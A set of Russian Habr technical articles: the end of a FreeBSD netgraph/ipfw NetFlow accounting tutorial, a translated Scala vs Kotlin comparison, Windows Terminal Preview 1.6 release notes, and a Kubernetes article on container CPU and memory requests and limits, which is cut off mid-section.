Так же существует алгоритмы определения up/down линков, и возможность их включения/выключения через команды, это нужно для специфичных задач, об этом подробнее в man ng\_one2many.
Ng\_one2many принимает контрольные сообщения: setconfig, getconfig, getstats, clrstats, getclrstats. В принципе интуитивно понятно. Подробнее в man.
Модуль ng\_hole — делает элементарные действия, считает пакетики вошедшие к нему и уничтожает их.
О модуле **ng\_netgraph** я писал в своем прошлом топике [FreeBSD Netgraph на примере Ethernet тоннеля.](http://habrahabr.ru/blogs/bsdelniki/86553/).
### IPFW
Системным администраторам работающим с FreeBSD рассказывать об ipfw смысла нет, а кто не знает что это может без проблем прочитать в [Википедии](http://ru.wikipedia.org/wiki/Ipfw), да и гугл выдаст тонны информации с примерами и готовыми наработками. Скажу лишь то, что для взаимодействия ipfw и netgraph в ipfw существует два правила ngtee и netgraph, пример:
ipfw add netgraph 10 all from any to any — направит весь трафик попавший в правило в хук ipfw:10 модуля ng\_ipfw
ipfw add ngtee 20 ip from any to any — скопирует весь трафик попавший в правило в хук ipfw:20 модуля ng\_ipfw
### Немного посчитаем
Мы хотим посчитать трафик, проходящий через интерфейс каждого пользователя в обоих направлениях. При этом исключить подсети 192.168.5.0/24 и 192.168.10.0/24 из учета, т.к в них у нас живут бесплатные ресурсы. Пользователи терминируются на интерфейсы «ngX» демоном mpd.
В ipfw это будет выглядеть так:
`ipfw table 1 flush
ipfw table 1 add 192.168.5.0/24
ipfw table 1 add 192.168.10.0/24
ipfw add ngtee 10 ip from not "table(1)" to any in via "ng*"
ipfw add ngtee 10 ip from any to not "table(1)" out via "ng*"`
Т.е мы копируем в ipfw:10 подсистемы netgraph весь трафик, не принадлежащий сетям, перечисленным в таблице 1.
 Нарисуем граф. Он достаточно прост.
Создаем простую структуру из модулей ng\_ipfw и ng\_netflow и ng\_ksocket. Т.к это сбор статистики, данные будут идти только в одну сторону, обрабатываться и отправляться в нужное место.
Копируем весь трафик проходящий через IPFW правила в ng\_ipfw, который в свою очередь подключим к ng\_netflow, подключенный к ksocket и далее к netflow коллектору.
### Собираем в системе
Создаем модуль netflow и подключаем его хук iface0 к хуку ipfw 10.
**ngctl mkpeer ipfw: netflow 10 iface0**
Называем созданный модуль нетфлоу «netflow», он находится по адресу создания «ipfw:10»
**ngctl name ipfw:10 netflow**
Отправляем модулю «netflow:» команду, принимать через iface0 чистые IP пакеты. (подробнее в моём прошлом топике о модуле ng\_netflow)
**ngctl msg netflow: setdlt {iface=0 dlt=12}**
Созадем модуль ksocket и подключаем его хук inet/dgram/udp к «netflow:» хуку «export».
**ngctl mkpeer netflow: ksocket export inet/dgram/udp**
Называем созданный модуль «netflow\_socket»
**ngctl name netflow:export netflow\_socket**
Отправляем модулю «netflow\_socket» команду подключиться к коллектору.
**ngctl msg netflow\_socket: connect inet/3.3.3.3:9996**
Казалось бы все просто — это будет работать, но оказывается не совсем так, как нужно. Пакет вышедший с интерфейса пользователя и вошедший в интерфейс нашего соседнего пользователя посчитается дважды. Тут мы можем перестать считать, например, исходящий трафик… но к нам на помощь приходит модуль ng\_one2many.
### Новый граф
 Т.к ng\_one2many умеет работать в режиме roundrobin, и даже делает это по-умолчанию, мы можем вставить его между ng\_ipfw и ng\_netflow.
Для разделения трафика пополам потребуется подключить one2many хуками many0 и many1 к ng\_netflow и ng\_hole, т.к обязательное условие распределения пакетов для one2many являются хуки в активном состоянии.
Получится что в учет пойдет только половина пакетов, с маленькой погрешностью, а вторая часть будет уничтожена.
Для второго графа будем использовать новый хук модуля ipfw — 20. Так же при создании графа нужно будет давать узлам новые имена, чтобы они не пересекались с уже созданным выше графом. Создание его аналогично, и подробно описывать его не буду.
В итоге мы получаем итоговые скрипты для работы.
Первый скрипт для сбора графа полного netflow.
`#!/bin/sh
case "$1" in
start)
echo "Starting full netflow."
ngctl mkpeer ipfw: netflow 10 iface0
ngctl name ipfw:10 netflow
ngctl msg netflow: setdlt {iface=0 dlt=12}
ngctl mkpeer netflow: ksocket export inet/dgram/udp
ngctl name netflow:export netflow_socket
ngctl msg netflow_socket: connect inet/3.3.3.3:9996
echo "Ok."
exit 0
;;
stop)
echo "Stopping full netflow."
ngctl shutdown netflow_socket:
ngctl shutdown netflow:
echo "Ok."
exit 0
;;
restart)
sh $0 stop
sh $0 start
;;
*)
echo "Usage: `basename $0` { start | stop | restart }"
exit 64
;;
esac`
Второй скрипт создает граф учета половины трафика.
`#!/bin/sh
case "$1" in
start)
echo "Starting half netflow."
ngctl mkpeer ipfw: one2many 20 one
ngctl name ipfw:20 one2many
ngctl mkpeer one2many: netflow many0 iface0
ngctl name one2many:many0 netflow_half
ngctl mkpeer one2many: hole many1 black
ngctl name one2many:many1 blackhole
ngctl mkpeer netflow_half: ksocket export inet/dgram/udp
ngctl name netflow_half:export netflow_socket_half
ngctl msg netflow_half: setdlt {iface=0 dlt=12}
ngctl msg netflow_socket_half: connect inet/3.3.3.3:9996
echo "Ok."
exit 0
;;
stop)
echo "Stopping half netflow."
ngctl shutdown netflow_socket_half:
ngctl shutdown blackhole:
ngctl shutdown netflow_half:
ngctl shutdown one2many:
echo "Ok."
exit 0
;;
restart)
sh $0 stop
sh $0 start
;;
*)
echo "Usage: `basename $0` { start | stop | restart }"
exit 64
;;
esac`
В IPFW мы получаем новую конструкцию. Во вторую табличку добавляем сети, трафик между которыми надо уменьшать в 2 раза.
`ipfw table 1 flush
ipfw table 1 add 192.168.5.0/24
ipfw table 1 add 192.168.10.0/24
ipfw table 2 flush
ipfw table 2 add 192.168.50.0/24
ipfw table 2 add 192.168.51.0/24
ipfw table 2 add 192.168.52.0/24
ipfw table 2 add 192.168.53.0/24
ipfw add ngtee 10 ip from not "table(1)" to any in via "ng*"
ipfw add ngtee 10 ip from any to not "table(1)" out via "ng*"
ipfw add ngtee 20 ip from "table(2)" to "table(2)" via "ng*"`
### Вот и всё
Спасибо всем, кто героически прочел всю статью.
|
https://habr.com/ru/post/88022/
| null |
ru
| null |
# Scala vs Kotlin (перевод)
*Наша команда, аналогично с автором статьи, уже почти как год перешла со Scala на Kotlin в качестве основного языка. Мое мнение во многом совпадает с автором, поэтому предлагаю вам перевод его интересной статьи.*
Прошло прилично времени с того момента как я не обновлял блог. Вот уже как год я перешел со Scala, моего основного языка, на Kotlin. Язык позаимствовал много хороших вещей, которые мне нравились в Scala, сумев при этом избежать многих подводных камней и неоднозначности, которая есть в Scala.
Ниже я хочу привести примеры, которые мне нравятся в Scala и Kotlin, а также их сравнение в том, как они реализованы в обоих языках.
#### **Объявление и выведение типов**
Что мне особенно нравится в обоих языках так это то, что они оба являются статически типизированными с выведением типов. Это предоставляет вам возможность в полной степени воспользоваться мощью статической типизации без громоздких объявлений в коде (*ориг.: declarative boiler plate*). В большинстве случаев это работает в обоих языках. В обоих языках также прослеживается предпочтение неизменяемым типам вместе с опциональным объявлением типа переменной после ее названия.
Пример кода будет одинаковый в обоих языках:
Объявление неизменяемой переменной с именем *age* и типом *Int*:
```
val age = 1
```
Объявление изменяемой переменной с типом *String*:
```
var greeting = "Hello"
```
Оба языка поддерживают лямбда функции как объекты первого класса, которые могут быть присвоены переменным или переданы в качестве параметров функциям:
Scala
```
val double = (i: Int) => { i * 2 }
```
Kotlin
```
val double = {i: Int -> i * 2 }
```
#### ***Data* / *Case* классы**
Scala и Kotlin имеют схожий концепт data классов, которые являются представлением *data model object*.
##### **Подход в Scala**
В Scala это *case* классы, которые выглядят следующим образом:
```
case class Person(name: String, age: Int)
```
* Есть *apply* метод (не нужно использовать ключевое слово *new* при создание инстанса)
* Методы для доступа объявлены для каждого *property* (если *property* объявлено как *var* то *setter* метод также будет присутствовать)
* *toString*, *equal* и *hashCode* разумно объявлены
* Eсть copy функция
* Есть *unapply* метод (который позволяет использовать данные классы в *pattern matching*)
##### **Подход в *Kotlin***
Kotlin называет данные классы как *data class*
```
data class Person (val name: String, val age: Int)
```
Ключевые особенности:
* Методы для доступа объявлены для каждого *property* (если *property* объявлено как *var* то *setter* метод также будет присутствовать). Это не исключительная особенность *data* классов, утверждение справедливо для любых классов в Kotlin.
* Разумно объявлены *toString*, *equal* и *hashCode*
* Сopy функция
* *component1..componentN* функции. По аналогии используется в качестве *unapply*.
* Реализует *JavaBean* *getter* и *setter*, необходимых для таких *Java* фреймворков как Hibernate, Jackson, без изменений.
В Kotlin нет необходимости в специальном *apply* методе, также как и не нужно ключевое слово *new* для инициализации класса. Так что это стандартное объявление конструктора как и для любых других классов.
#### **Сравнение**
В основном *case* и *data* классы похожи.
Пример ниже выглядит одинаково в обоих языках:
```
val jack = Person("jack", 1)
val olderJack = jack.copy(age = 2)
```
В целом я нашел *data* и *case* классы взаимозаменяемым в повседневном использовании. В Kotlin есть некоторые ограничения на наследование *data* классов, но это было сделано из благих намерений c учетом реализации *equals* и *componentN* функций, чтобы избежать подводных камней.
В Scala *case* классы более мощные в *pattern matсhing* по сравнению с тем как Kotlin работает с *data* классами в ‘when’ блоках, в которых этого не хватает.
Подход Kotlin работает лучше для существующих Java фреймворков, т.к. они выгдядят для них как обычные *Java bean*.
Оба языка позволяют передавать параметры по имени и позволяют указать значению по умолчанию для них.
#### **Null Safely / Optionality**
##### **Подход в Scala**
В Scala *null safely* заключается в использовании монады *option*. Проще говоря, *option* может находится в одном из двух конкретных состояний: *Some(x)* или *None*
```
val anOptionInt: Option[Int] = Some(1)
```
или
```
val anOptionInt: Option[Int] = None
```
Можно оперировать с *option* при помощи функций isDefined и getOrElse (чтобы указать значение по умолчанию) но более часто используемая ситуация когда монады используется с операторами *map*, *foreach* или *fold*, для которых *option* представляет из себя коллекцию содержащую 0 или 1 элемент.
Для примера можно подсчитать сумму двух опциональных переменных следующим образом:
```
val n1Option: Option[Int] = Some(1)
val n2Option: Option[Int] = Some(2)
val sum = for (n1 <- n1Option; n2 <- n2Option) yield {n1 + n2 }
```
В Переменной *sum* будет значение *Some(3)*. Наглядный пример того как *for* может быть использован как *foreach* или *flatMap* в зависимости от использования ключевого слова *yield*.
Другой пример:
```
case class Person(name: String, age: Option[Int])
val person: Option[Person] = Some(Person("Jack", Some(1)))
for (p <- person; age <- p.age) {
println(s"The person is age $age")
}
```
Будет напечатана строчка "The person is age 1"
##### **Подход в Kotlin**
Kotlin заимствует синтаксис groovy, достаточно практичный в повседневном использовании. В Kotlin все типы *non-nullable* и должны быть в явном виде объявлены *nullable* с помощью "?" если они могут содержать *null*.
Тот же пример может быть переписан следующим образом:
```
val n1: Int? = 1
val n2: Int? = 2
val sum = if (n1 != null && n2 != null) n1 + n2 else null
```
Это намного ближе к Java синтаксису за исключением того, что Kotlin принудительно выполняет проверки во время компиляции, запрещая использовать *nullable* переменные без проверки на *null*, так что можно не бояться NullPointerException. Также нельзя присвоить *null* переменной объявленной как *non-nullable*. Помимо всего компилятор достаточно умный, чтобы избавить от повторной проверки переменной на *null*, что позволяет избежать многократной проверки переменных как в Java.
Эквивалентный Kotlin код для второго примера будет выглядеть следующим образом:
```
data class Person(val name: String, val age: Int?)
val person: Person? = Person("Jack", 1)
if (person?.age != null) {
printn("The person is age ${person?.age}")
}
```
Или альтернативный вариант с использованием "let", который заменает "if" блок на:
```
person?.age?.let {
person("The person is age $it")
}
```
#### **Сравнение**
Я предпочитаю подход в Kotlin. Он гораздо более читабельный и понятный, и проще разобраться что происходит в многократных вложенных уровнях. Подход Scala отталкивается от поведения монад, который конечно нравится некоторым людям, но по собственному опыту могу сказать, что код становится излишне перегруженным уже для небольших вложений. Существует огромное количество подводных камней у подобного усложнения в использовании *map* или *flatMap*, причем вы даже не получите предупреждение при компиляции, если вы делаете что-то не так в мешанине из монад или используя *pattern match* без поиска альтернативных вариантов, что в результате выливается в *runtime exception* которые не очевидны.
Подход в Kotlin также уменьшает разрыв при интеграции с кодом Java благодаря тому что типы из нее по умолчанию nullable (*тут автор не совсем корректен. Типы из Java попадают в промежуточное состояние между nullable и not-nullable, которое в будущем можно уточнить*), тогда как Scala приходится поддерживать *null* как концепт без *null-safely* защиты.
#### **Функциональные коллекции**
Scala, конечно, поддерживает функциональный подход. Kotlin чуть в меньшей степени, но основные идеи поддерживаются.
В примере ниже нет особых различий в работе *fold* и *map* функций:
Scala
```
val numbers = 1 to 10
val doubles = numbers.map { _ * 2 }
val sumOfSquares = doubles.fold(0) { _ + _ }
```
Kotlin
```
val numbers = 1..10
val doubles = numbers.map { it * 2 }
val sumOfSquares = doubles.fold(0) {x,y -> x+y }
```
Оба языка поддерживают концепт цепочки "ленивых" вычислений. Для примера вывод 10 четных чисел будет выглядеть следующим образом:
Scala
```
val numbers = Stream.from(1)
val squares = numbers.map { x => x * x }
val evenSquares = squares.filter { _%2 == 0 }
println(evenSquares.take(10).toList)
```
Kotlin
```
val numbers = sequence(1) { it + 1 }
val squares = numbers.map { it * it }
val evenSquares = squares.filter { it%2 == 0 }
println(evenSquares.take(10).toList())
```
#### ***Implicit* преобразования vs *extension* методы**
Эта та область в которой Scala и Kotlin немного расходятся.
##### **Подход в Scala**
В Scala есть концепция *implicit* преобразований, которая позволяет добавлять расширенный функционал для класса благодаря автоматическому преобразованию к другому классу при необходимости. Пример объявления:
```
object Helpers {
implicit class IntWithTimes(x: Int) {
def times[A](f: => A): Unit = {
for(i <- 1 to x) {
f
}
}
}
}
```
Потом в коде можно будет использовать следующим образом :
```
import Helpers._
5.times(println("Hello"))
```
Это выведет "Hello" 5 раз. Работает это благодаря тому, что при вызове функции "times" (которая на самом деле не существует в Int) происходит автоматическая упаковка переменной в объект IntWithTimes, в котором и происходит вызов функции.
##### **Подход в Kotlin**
Kotlin использует для подобного функционала *extension* функции. В Kotlin для того, чтобы реализовать подобный функционал нужно объявить обычную функцию, только с префиксом в виде типа, для которая делается расширение.
```
fun Int.times(f: ()-> Unit) {
for (i in 1..this) {
f()
}
}
```
```
5.times { println("Hello")}
```
#### **Сравнение**
Подход Kotlin соответствует тому как я в основном использую данную возможность в Scala, с небольшим преимуществом в виде чуть более упрощенной и понятной записи.
#### **Особенности Scala которых нет в Kotlin и по которым я не буду скучать**
Одна из лучших особенностей Kotlin для меня даже не в том функционале что есть, а больше в том функционале которого нет в Kotlin из Scala.
* Вызов по имени — Это разрушает читабельность. Если функция передается было бы гораздо легче увидеть что передается указатель на функции при простом просмотре кода. Я не вижу никаких преимуществ, которое это дает по сравнению с явной передачей лямбд.
* Implicit преобразования — Это то что я действительно ненавижу. Это приводит к ситуации, когда поведение кода значительно меняется в зависимости от того, что было импортировано. В результате действительно тяжело сказать какая переменная будет передана в функцию без хорошей поддержки IDE.
* Перегруженный *for* — Проблема с несколькими монадами, показанная выше.
* Беспорядок с опциональным синтаксисом *infix* и *postfix* операторов — Kotlin чуть более формализованный. В результате код в нем менее двухсмысленный, его проще читать и не так легко простой опечатке стать неочевидной ошибкой.
* Переопределением операторов по максимуму — Kotlin разрешает переопределение только основных операторов (+, — и т.п.). Scala разрешает использовать любую последовательности символов. Действительно ли мне нужно знать разницу между "~%#>" и "~+#>"?
* Медленное время компиляции.
*Спасибо за внимание.
Оригинал [Scala vs Kotlin](https://agilewombat.com/2016/02/01/scala-vs-kotlin/)
P.S. В некоторые местах в переводе специально оставил слова без перевода (null, null safely, infix, postfix и т.п.).*
|
https://habr.com/ru/post/308562/
| null |
ru
| null |
# Вышел Windows Terminal Preview 1.6
Добро пожаловать на наш первый релиз Windows Terminal 2021 года! Этот релиз приносит новые функции [для Windows Терминал Preview 1.6](https://aka.ms/terminal-preview), а также [перемещает Windows Терминал в](https://aka.ms/terminal) версию 1.5, которая включает в себя функции из [этой статьи](https://devblogs.microsoft.com/commandline/windows-terminal-preview-1-5-release/). Вы можете загрузить обе версии из Microsoft Store или со [страницы релизов GitHub.](https://github.com/microsoft/terminal/releases) Ниже приведены некоторые из основных моментов в этом выпуске, однако мы рекомендуем изучить [полные заметки о релизе, чтобы](https://github.com/microsoft/terminal/releases) узнать все, что улучшилось с версией 1.6.
Настройки пользовательского интерфейса
--------------------------------------
Это, наконец, здесь! Windows Терминал Preview теперь включает в себя альфа-релиз нового UI настроек. Пользовательский интерфейс настроек еще не связан по умолчанию *и* не будет открываться при нажатии кнопки настройки в выпадающем меню, так что вам нужно будет добавить действие в файл settings.json, чтобы использовать его либо с command palette, либо с помощью клавиатуры.
Как открыть пользовательский интерфейс настроек
-----------------------------------------------
Чтобы привязать пользовательский интерфейс настроек к "Ctrl+Shift+," добавьте следующее в массив actions (или keybindings, если у вас более старая версия файла настроек):
```
{ "command": { "action": "openSettings", "target": "settingsUI" }, "keys": "ctrl+shift+," },
```
Настройки резервных копий файлов
--------------------------------
Пока пользовательский интерфейс настроек остается в режиме предварительного просмотра, мы будем создавать резервные копии ваших предыдущих файлов настроек на случай, если что-то пойдет не так с редактированием ваших настроек, и вам нужно будет вернуться. Эти файлы резервных копий можно найти в том же месте, что и файл settings.json. Самый простой способ перемещаться здесь - щелкнуть правой кнопкой мыши вкладку файла settings.json в Visual Studio Code и выбрать «Reveal in File Explorer».
Что дальше
----------
Мы все еще активно работаем над пользовательским интерфейсом настроек и будем постоянно отправлять обновления. Вот несколько вещей, над которыми мы сейчас работаем:
* Интуитивно понятная навигация.
* Добавление действий и привязок клавиш в пользовательский интерфейс настроек.
* Предоставление функциональности для изменения порядка ваших профилей.
Если вы хотите следить за развитием пользовательского интерфейса настроек, не стесняйтесь следить за этой темой на GitHub.
Startup actions
---------------
Вы когда-нибудь хотели запустить свой терминал в нестандартной конфигурации? Что ж, сегодня радостный день! Теперь вы можете установить [действия при запуске](https://docs.microsoft.com/windows/terminal/customize-settings/startup) (Startup actions) в своих глобальных настройках, чтобы настроить запуск вашего терминала. Параметр startupActions принимает аргументы командной строки wt. Более подробную информацию об аргументах командной строки можно найти на нашем [сайте документации](https://docs.microsoft.com/windows/terminal/command-line-arguments).
```
// Запуск терминала с множеством вкладок
"startupActions": "new-tab; new-tab"
// Запуск терминала с одной вкладкой, разделенной на панель PowerShell и панель Ubuntu
"startupActions": "split-pane -p PowerShell ; split-pane -p Ubuntu"
```
Индикатор прогресса
-------------------
Терминал теперь будет отображать индикатор выполнения на вкладке и панели задач всякий раз, когда будет получена последовательность OSC 9; 4. Более подробную информацию об оставшихся задачах и документацию по индикатору прогресса можно найти на [GitHub](https://github.com/microsoft/terminal/issues/6700).
Пиксельные шейдеры
------------------
В качестве новой экспериментальной функции теперь вы можете использовать пиксельные шейдеры HLSL в своем профиле. Некоторые примеры шейдеров можно найти в нашем репозитории.
```
"experimental.pixelShaderEffect": "C:\\temp\\invert.hlsl"
```
Этот параметр пока недоступен в пользовательском интерфейсе настроек и доступен только при редактировании файла settings.json.
Новые действия
--------------
**Прокрутка истории вверх и вниз**
Вы можете использовать команды scrollToTop и scrollToBottom для прокрутки до начала или конца текстового буфера.
```
{ "command": "scrollToTop", "keys": "ctrl+shift+home" },
{ "command": "scrollToBottom", "keys": "ctrl+shift+end" }
```
**Сосредоточьтесь на последней использованной панели**
Действие moveFocus приобрело новое направление, которое позволяет вам переходить к последней использованной панели с помощью клавиатуры.
```
{ "command": { "action": "moveFocus", "direction": "previous" }, "keys": "ctrl+alt+left" }
```
**Перемещение вкладок**
Теперь вы можете перемещать вкладки назад (влево) и вперед (вправо) используя клавиатуру с помощью команды moveTab.
```
{ "command": { "action": "moveTab", "direction": "backward" }, "keys": "" },
{ "command": { "action": "moveTab", "direction": "forward" }, "keys": "" }
```
Другие новинки
--------------
* Действие splitPane и аргумент командной строки split-pane, sp теперь принимают параметр размера для определения размера панели.
* Также был добавлен аргумент командной строки move-focus, поэтому вы можете указать, на какой панели фокусироваться при запуске терминала с помощью командной строки.
* Теперь вы можете указать цвет вкладки для каждой новой вкладки или панели через командную строку с помощью --tabColor #rrggbb.
* Терминал теперь поддерживает последовательность ConEmu OSC 9;9, которая устанавливает текущий рабочий каталог. Если вы запускаете OSC 9;9;, при создании дубликата этой панели или вкладки будет использоваться указанный вами путь Windows.
* Когда вы выпускаете BEL, терминал будет отображать значок колокольчика на вкладке. Вы также можете теперь установить стиль колокольчика на «визуальный», что приведет к миганию панели задач.
* Теперь у вас может быть двойной курсор подчеркивания в терминале.
* Палитра команд теперь поддерживает «launchMode», который может иметь значение «action» или «commandLine».
|
https://habr.com/ru/post/540404/
| null |
ru
| null |
# Как получить доступ к ресурсам Kubernetes Pod
[*The Reward by Tohad*](https://www.deviantart.com/tohad/art/The-Reward-549720998)
В начале работы с Kubernetes обычно забывают о настройке ресурсов контейнеров. На этом этапе достаточно убедиться, что образ Docker работает и его можно развернуть в кластере Kubernetes.
Но позднее приложение требуется развернуть в продакшен кластере вместе с другими приложениями. Для этого нужно выделить ресурсы для контейнера и убедиться, что их достаточно для запуска и работы приложения, а в других запущенных приложениях не возникнет проблем.
Команда [Kubernetes aaS от Mail.ru](https://mcs.mail.ru/) перевела статью о ресурсах контейнеров (CPU & MEM), запросах и ограничениях ресурсов. Вы узнаете, какие преимущества дают эти настройки и что произойдет, если их не установить.
Вычислительные ресурсы
----------------------
У нас есть два типа ресурсов со следующими единицами:
* Центральный процессор (CPU) — ядра;
* Память (MEM) — байты.
Ресурсы указывают для каждого контейнера. В следующем YAML-файле Pod вы увидите раздел ресурсов, который содержит запрошенные и предельные ресурсы:
* Запрошенные ресурсы Pod = сумма запрошенных ресурсов всех контейнеров;
* Предельные ресурсы Pod = сумма предельных ресурсов всех контейнеров.
```
apiVersion: v1
kind: Pod
metadata:
name: backend-pod-name
labels:
application: backend
spec:
containers:
— name: main-container
image: my-backend
tag: v1
ports:
— containerPort: 8080
resources:
requests:
cpu: 0.2 # REQUESTED CPU: 200m cores
memory: "1Gi" # REQUESTED MEM: 1Gi
limits:
cpu: 1 # MAX CPU USAGE: 1 core
memory: "1Gi" # MAX MEM USAGE: 1Gi
— name: other-container
image: other-app
tag: v1
ports:
— containerPort: 8000
resources:
requests:
cpu: "200m" # REQUESTED CPU: 200m cores
memory: "0.5Gi" # REQUESTED MEM: 0.5Gi
limits:
cpu: 1 # MAX CPU USAGE: 1 core
memory: "1Gi" # MAX MEM USAGE: 1Gi
```
Пример запрошенных и предельных ресурсов
Поле `resources.requested` из спецификации Pod — один из элементов, который используют для поиска нужной ноды. Уже на нее можно запланировать развертывание Pod. Как же ищут подходящую ноду?
Kubernetes состоит из нескольких компонентов, в том числе содержит главный узел или мастер-ноду (Kubernetes Control Plane). В мастере-ноде несколько процессов: kube-apiserver, kube-controller-manager и kube-scheduler.
Процесс kube-scheduler отвечает за просмотр вновь созданных модулей и поиск возможных рабочих узлов, которые соответствуют всем запросам модулей, в том числе по количеству запрашиваемых ресурсов. Список узлов, найденных kube-scheduler, ранжируется. Pod планируется на узле с наивысшими баллами.
Куда будет помещен фиолетовый Pod?
На картинке видно, что kube-scheduler должен запланировать новый фиолетовый Pod. Кластер Kubernetes содержит два узла: A и B. Как можно заметить, kube-scheduler не может запланировать Pod на узел A — доступные (незапрошенные) ресурсы не соответствуют запросам фиолетового Pod. Так, запрошенный фиолетовым Pod 1 Гб памяти не уместится на узле А, поскольку доступный объем памяти — 0,5 Гб. Но у узла В достаточно ресурсов. В итоге kube-scheduler решает, что место назначения фиолетового Pod — узел B.
Теперь мы знаем, как запрошенные ресурсы влияют на выбор ноды для запуска Pod. Но как влияют предельные ресурсы?
Предельные ресурсы — граница, которую CPU/MEM не может пересекать. Тем не менее ресурс CPU гибкий, поэтому контейнеры, достигшие предельных значений по CPU, не приведут к завершению работы Pod. Вместо этого запустится троттлинг по CPU. Если же будет достигнут предел по использованию MEM, то контейнер будет остановлен по причине OOM-Killer и перезапущен, если это разрешено настройкой RestartPolicy.
Запрашиваемые и предельные ресурсы в деталях
--------------------------------------------
Связь ресурсов между Docker и Kubernetes
Лучший способ объяснить, как работают запрашиваемые и предельные ресурсы — представить связь между Kubernetes и Docker. На рисунке выше вы можете посмотреть, как связаны поля Kubernetes и флаги запуска Docker.
Память: запрос и ограничение
----------------------------
```
containers:
...
resources:
requests:
memory: "0.5Gi"
limits:
memory: "1Gi"
```
Как упоминалось выше, память измеряется в байтах. Основываясь на [документации Kubernetes](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/#meaning-of-memory), мы можем указать память в виде числа. Обычно оно целое, например 2678 — то есть 2678 байт. Можно также использовать суффиксы `G` и `Gi`, главное — помнить, что они не равнозначны. Первый — десятичный, а второй — двоичный. Как пример, упомянутый в документации k8s: `128974848`, `129e6`, `129M`, `123Mi` — они практически эквивалентны.
Параметр Kubernetes `limits.memory` соответствует флагу `--memory` из Docker. В случае с `request.memory` стрелка для Docker отсутствует, поскольку Docker не использует это поле. Вы можете спросить, нужно ли это вообще? Да, нужно. Как я уже говорил, поле имеет значение для Kubernetes. На основе информации из него kube-scheduler решает, на какой узел запланировать Pod.
**Что будет, если установить для запроса недостаточно памяти?**
Если контейнер достиг границ запрошенной памяти, то Pod помещается в группу Pod, которые останавливаются при нехватке памяти в ноде.
**Что произойдет, если установить слишком маленькое предельное значение памяти?**
Если контейнер превышает предельное значение памяти, он будет завершен по причине OOM-Killed. И будет перезапущен, если это возможно на основании RestartPolicy, где значение по умолчанию — `Always`.
**Что будет, если не указать запрашиваемую память?**
Kubernetes возьмет предельное значение и установит его как значение по умолчанию.
**Что может произойти, если не указать предельную память?**
У контейнера нет ограничений, он может использовать столько памяти, сколько захочет. Если же он начнет использовать всю доступную память ноды, то его убьет OOM. Затем контейнер будет перезапущен, если это возможно на основе RestartPolicy.
**Что будет, если не указать лимитов памяти?**
Это худший сценарий: планировщик не знает, сколько ресурсов требуется контейнеру, и это может вызвать серьезные проблемы на ноде. В этом случае хорошо бы иметь ограничения по умолчанию в пространстве имен (устанавливаемые LimitRange). Ограничений по умолчанию нет — у Pod нет ограничений, он может использовать столько памяти, сколько захочет.
Если запрашиваемая память больше, чем может предложить нода — Pod не будет запланирован. Важно помнить, что `Requests.memory` — не минимальное значение. Это описание объема памяти, достаточного для постоянной работы контейнера.
Обычно рекомендуют устанавливать одно и то же значение для `request.memory` и `limit.memory`. Благодаря этому Kubernetes не запланирует Pod на узле, у которого достаточно памяти для запуска Pod, но недостаточно для работы. Имейте в виду: при планировании Pod Kubernetes учитывает только `requests.memory`, а `limits.memory` не учитывает.
CPU: запрос и ограничение
-------------------------
```
containers:
...
resources:
requests:
cpu: 1
limits:
cpu: "1200m"
```
C CPU все немного сложнее. Возвращаясь к картинке со взаимосвязью между Kubernetes и Docker, можно заметить, что `request.cpu` соответствует `--cpu-shares`, тогда как `limit.cpu` соответствует флагу `cpus` в Docker.
CPU, который запрашивает Kubernetes, умножается на 1024 — пропорцию циклов CPU. Если вы хотите запросить 1 полное ядро, то должны добавить `cpu: 1`, как показано выше.
Запрос полного ядра (пропорция = 1024) не означает, что ваш контейнер его получит. Если у вашего хост-компьютера только одно ядро, и вы используете более одного контейнера, то все контейнеры должны совместно использовать доступный CPU между собой. Как это происходит? Давайте посмотрим на картинку.
Запрос CPU — система с одним ядром
Давайте представим, что у вас есть хост-система с одним ядром, на которой запущены контейнеры. Мама (Kubernetes) испекла пирог (CPU) и хочет разделить его между детьми (контейнерами). Трое детей хотят по целому пирогу (пропорция = 1024), еще один ребенок хочет половину пирога (512). Мама хочет быть справедливой и проводит несложный расчет.
```
# Сколько пирогов хотят дети?
# 3 ребенка хотят по целому пирогу и еще один хочет половину пирога
cakesNumberKidsWant = (3 * 1) + (1 * 0.5) = 3.5
# Выражение получается так:
3 (ребенка/контейнера) * 1 (целый пирог/полное ядро) + 1 (ребенок/контейнер) * 0.5 (половина пирога/половина ядра)
# Сколько пирогов испечено?
availableCakesNumber = 1
# Сколько пирога (максимально) дети реально могут получить?
newMaxRequest = 1 / 3.5 =~ 28%
```
Исходя из расчета, трое детей получат по 28% ядра, а не по целому ядру. Четвертому ребенку достанется 14% от полного ядра, а не половина. Но все будет по-другому, если у вас мультиядерная система.
Запрос CPU — мультиядерная (4) система
На изображении выше видно, что трое детей хотят по целому пирогу, а один — половину. Поскольку мама испекла четыре пирога, каждый из ее детей получит столько, сколько захочет. В многоядерной системе процессорные ресурсы распределены по всем доступным ядрам процессора. Если контейнер ограничен менее, чем одним полным ядром CPU, то все равно может использовать его на 100%.
Приведенные выше расчеты упрощены для понимания того, как CPU распределяется между контейнерами. Конечно, помимо самих контейнеров, есть и другие процессы, которые также используют ресурсы CPU. Когда процессы в одном контейнере простаивают, другие могут использовать его ресурс. `CPU: "200m"` соответствует `CPU: 0,2`, что означает примерно 20% одного ядра.
Теперь давайте поговорим о `limit.cpu`. CPU, который ограничивает Kubernetes, умножается на 100. Результат — количество времени, которое контейнер может использовать каждые 100 мкс (`cpu-period`).
`limit.cpu` соответствует флагу Docker `--cpus`. Это новая комбинация старых `--cpu-period` и `--cpu-quota`. Устанавливая его, мы указываем, сколько доступных ресурсов CPU контейнер может максимально использовать до тех пор, пока не начнется троттлинг:
* **cpus** — комбинация `cpu-period` и `cpu-quota. cpus = 1.5` эквивалентно установке `cpu-period = 100000` и `cpu-quota = 150000`;
* **cpu-period** — период [планировщика CPU CFS](https://en.wikipedia.org/wiki/Completely_Fair_Scheduler), по умолчанию 100 микросекунд;
* **cpu-quota** — количество микросекунд внутри `cpu-period`, которым ограничен контейнер.
**Что будет, если установить недостаточно запрошенного CPU?**
Если контейнеру нужно больше, чем установлено, то он украдет CPU у других процессов.
**Что произойдет, если установить недостаточный лимит CPU?**
Поскольку ресурс CPU регулируемый, то включится троттлинг.
**Что случится, если не указать запрос CPU?**
Как и в случае с памятью, значение запроса равно лимиту.
**Что будет, если не указать лимит CPU?**
Контейнер будет использовать столько CPU, сколько ему необходимо. Если в пространстве имен определена политика CPU по умолчанию (LimitRange), то этот лимит используют и для контейнера.
**Что произойдет, если не указать ни запрос, ни лимит CPU?**
